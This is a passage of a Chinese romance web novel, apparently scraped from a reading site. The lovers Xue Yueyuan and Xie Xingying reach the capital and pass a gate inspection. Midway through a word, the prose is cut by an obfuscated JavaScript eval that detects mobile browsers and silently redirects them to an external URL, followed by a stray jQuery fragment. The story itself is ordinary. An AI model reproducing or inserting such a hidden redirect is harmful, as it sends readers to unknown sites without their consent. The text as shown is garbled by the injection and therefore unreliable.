方才的这话说得的确不假,谢星影问心无愧,言谈举止都十分自然。
也正是因为他的确是这个想法,这才蒙混过了关。
他目不转睛地看着面前姑娘的神情由将信将疑逐渐变得沉默,薛月圆抬眼望着他,神色看上去十分不好意思。
谢星影轻笑一声,主动上前两步,将以为自己错怪了他的薛月圆搂入怀中。
他不动声色地深吸一口气,将她抱得更紧了些。
“没事的,我知晓也许是这几日生病,我黏你黏得紧了些,让小月烦了。”谢星影贴在她的耳旁,轻声说道,“我以后会注意的。”
小月定是把他那句“并无此意”理解为了这几日都并无此意,是她想多了。
真让他浑身都开始蔓延着痒意,想要忍不住说出来,他是故意说了这句这模糊的话呢。
谢星影开始熟练地装可怜,成功把自己这几日的行动在薛月圆心中扭过来之后,他就听到薛月圆开始软声哄他。
她的声音温软,语气刻意被放得低了几分,听着就像是在他耳边撒娇一样。
她说,她没有烦他,是她太过狭隘了。
她说,让他不要把她的这些话放在心上,别难过。
她说,他病刚好,不要碰冷水。
薛月圆伸手拥着他,轻拍着他的背。
安抚了他许久,薛月圆才从他的怀里退出来。她伸手想要去拿他随手放到一旁的碗,但手却被谢星影握住。
“小月,我没有放在心上,这碗还是让我来吧。”他笑得温柔,“要是你硬要洗的话,反而才是和我生疏了呢。”
他三两句说下来,顺手把那碗拿走。
谢星影俯身,轻轻在薛月圆脸颊上亲了一口,随后冲她一笑,施施然离开。
薛月圆被他忽然的一吻弄得脑中一白,反应过来后,谢星影已经离开了房间。
她站在原地张了张口,不过什么都没说出来,只是伸手揉了揉自己的脸颊。
薛月圆走到厨房的时候,谢星影已经动手洗起碗来。
他把衣袖撩起来,再次露出那白皙的手臂。
薛月圆站在他身旁,视线下移,不由自主地就盯上了他的手臂。
她觉得,阿影的皮肤比她还白。
视线如同勾子一般,勾在谢星影的手臂上,让他不由自主地绷起来,显出隐隐约约的线条。
谢星影佯装不方便,洗了一会儿,对站在旁边走神的薛月圆道:“小月,能帮我再撩一下衣袖吗?”
说完,他就将手伸到薛月圆面前。
薛月圆盯着伸到自己面前的两条白花花的手臂,默默眨了下眼,随后伸手帮他拉了一下衣袖。
“好了。”薛月圆道。
谢星影感受着她指尖滑过皮肤带来的触感,满意一笑:“多谢小月。”
随后低头,看上去全神贯注地继续洗起碗来。
乍一看简直是一位勤劳的贤夫。
……
将屋子里的东西收手妥当,留下适当银钱藏在叠好的被褥里后,两人收拾好行囊,上了马车离开这处村子。
谢星影痊愈后,本想和之前一样,将门帘撩起来,挨着她坐。
但还是被薛月圆赶回车厢,勒令他今日安分一日。
于是他便只能坐在车厢中,拿着地形图,不时撩一下车窗帘看一眼外面。
这处村子离京城最近,几乎再赶个一日路,便能进京。
薛月圆想趁着今日,一鼓作气赶到京城去。
恰好这几日在村子里也休息好了,她便不打算中途休息太多。
因此谢星影自告奋勇地揽过了为她喂食物的活,他顺理成章地把门帘撩起来,打开今早他们在隔壁大娘那里买的现做的馒头。
谢星影撩起一只袖子,手腕一翘,把手中油纸包着的白花花的馒头伸过去。
薛月圆忙着赶路,没有看到他这故作的姿态。
不过谢星影也不觉白做,仍然继续着这个动作。
倒是一旁从后方来了一辆马车,驾马车的男子本来见他们这辆马车是由女子驾驶而颇感兴趣。然而那男子一转头,看到薛月圆身后的谢星影后,脸上趣味的表情就变得一言难尽。
随后快马加鞭的,超过了他们。
在那马车超过他们后,薛月圆还一脸羡慕:“那人的驾车技术可真好。”
谢星影见状,只好扯扯唇角意思一般地笑了一下。
他没有说话,只是见薛月圆吃饱了后,又拿起一旁的水囊,十分贴心地把塞子拔开之后递到她的嘴边。
赶路一路,又是下山的路,一不留神就容易出些差错。
搔首弄姿了片刻,但面前的姑娘只是在一心一意地赶路,谢星影便放弃了自己的动作,只一心一意地看着地形图,辅佐好她驾马车。
日头从东方升到正午,又从正午西下,一直到天色渐暗,天边泛起金色的夕阳后,两人才远远看到京城的城门。
那城门高大而威严,远远看过去,一眼看不到左右两边的尽头。
城门上隔一段便立着一位守卫,城门下也站了一对人,挨个对进出京城的每一辆马车、每一个百姓做着细致的检查。
果真是和这一路上他们走过的大大小小的城镇与村庄一点都不一样。
薛月圆提前把自己的路引拿出来,下了马车牵着马,老老实实地排着队来。
她看着眼前的队伍,心里不免有几分紧张,两人的身份都并非完全光明,纵使用路引在这一路上路过的所有城镇都顺利通行。
但这毕竟是京城,京城的守卫森严,让她忍不住看了一眼和他并排站在一起的谢星影。
谢星影的面色自然,见她瞥过来一眼,还对她眨眨眼睛,丝毫看不出任何担忧与紧张来。
薛月圆也朝他眨着眼睛,眼巴巴的,她还抿着嘴唇,看上去脸颊肉都挤出去了一些。
队伍越来越短,眼见着他们前面就只有两个人。
一位是肩上托着担子,头发凌乱,看上去面黄肌瘦的阿伯。
一位则更靠近他们一些,就站在两人前面,是一位同谢星影年岁差不多大的郎君。
那郎君一身华衣,和她之前看到的谢星影的部分衣裳一样,料子软滑,上面还有精致的暗纹。
他是骑着马来的,马儿温顺的被他牵着绳子,握在手中。
城墙门前的侍卫问那阿伯要路引,正在薛月圆垂下眼帘,有些担忧地握着自己手里的路引时,听到前面的阿伯问道:“您说的……路引,这是个什么玩意儿?”
她抬头,和身旁的谢星影,前方牵着马的郎君一同向前望去。
阿伯旁的侍卫似乎也很惊讶,重复了一遍:“路引,不管进哪个地方都要查的,这东西你没有?”
“没有就不能进去吗?”那阿伯好似很紧张,薛月圆看到他不停地舔着嘴巴。
侍卫道:“不行,回去拿了路引再来。”
说罢,他朝后面叫道:“下一个!”
侍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766559|209717||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卫说完后,阿伯很慌张地伸手想要去揽他。但他既没有路引,又忽然伸手,这动作自然就被后方的侍卫理解错了意思,于是拔出身上的佩剑,挡在了阿伯身前。
忽然伸出来的佩剑泛着白光,让那阿伯吓了一跳,身上挑着的不知道装着什么袋子也不小心掉在了地上。
“哎哟,哎哟……我、我没有别的意思,就是想问问……”阿伯连忙举起双手,表明自己无恶意。
只不过他话没说完,就被侍卫挥了挥手,赶出了队伍。
其实侍卫做的也没有错,但那阿伯看上去实在太可怜,让薛月圆动了几分恻隐之心。
只不过就在她开始想怎么样才能帮到这位阿伯的时候,看到前面身着华衣、牵着马的公子往旁边一步,站了出来。
他对薛月圆两人道:“二位先行。”
随后就走到那阿伯旁,弯腰道:“您可是附近来京城卖东西的?您这包袱里卖的是什么?”
“姑娘路引出示一下。”前方的侍卫同时开口。
薛月圆回头,看到面前的侍卫正朝她伸手。
她的心便一下子提了起来,和谢星影同时将路引交出去。
在侍卫审视他们的路引的时候,薛月圆不禁有些紧张。
谢星影注意到了,向她身边靠了靠,手指往旁边动了动,轻轻勾上她的手指。
还好,很快侍卫就把两人的路引还了回来,同时向他们身后大喊一声:“下一位。”
重新拿回自己的路引后,薛月圆总算松了口气。
她听到与侍卫同时发声的,是刚才那位牵着马的公子。
他正在对那位阿伯道:“这样吧,我按市价将您的东西全部买下,您也不必进京摆摊了。”
说完,他就从自己的袖口摸出来一只荷包。
薛月圆和谢星影此刻已经走进了那城墙的拱门中,拱门很长,要走好几步才算是正式进入京城里。
而薛月圆却走得很慢,一步三回头。
她看到那位华衣公子摸了荷包半晌,应当是找不到更小额的钱币了,只能拿出来一锭银子。
那银子虽然很小,但价值极高,至少远远超过了老伯包袱里的东西。
京城人原来……
薛月圆的眼中浮现上些许思索,只不过脑海中的思绪还没有想完,就被谢星影的举动打断。
他往她看过去的方向站过去一步,挡住了她看向那个男子的视线。
谢星影皮笑肉不笑:“小月,还不走吗?”
他咬着牙,嘴唇动了动:“那边就快要有人来赶我们了。”
谢星影的语气中带着提醒与催促,让薛月圆抬眼看了一眼他。
他此刻正背着光,薛月圆看不清他脸上的表情。
她只得视线飘渺地往一旁的侍卫看去,不过还没仔细看清那侍卫的动作,就又赶忙收回眼神。
好不容易通过了,还是别在这里磨蹭了,万一出了些什么事情,那可真是有苦说不出。
于是薛月圆连忙拉着谢星影的衣袖,向前大步走去,走进了京城。
明媚的日光照耀下来,落在两人身上,让薛月圆不禁舒服地眯了眯眼。
周围来往的百姓络绎不绝,声音熙攘而嘈杂,还夹杂着马蹄声。
一阵阵干燥的微风拂面而来,是和槲州潮湿的味道完全不同的感觉。
直到感受着全然不同的干燥气候,脚下的这片土地才渐渐落实下来,构成了她多年后返回京城,对京城的第一个印象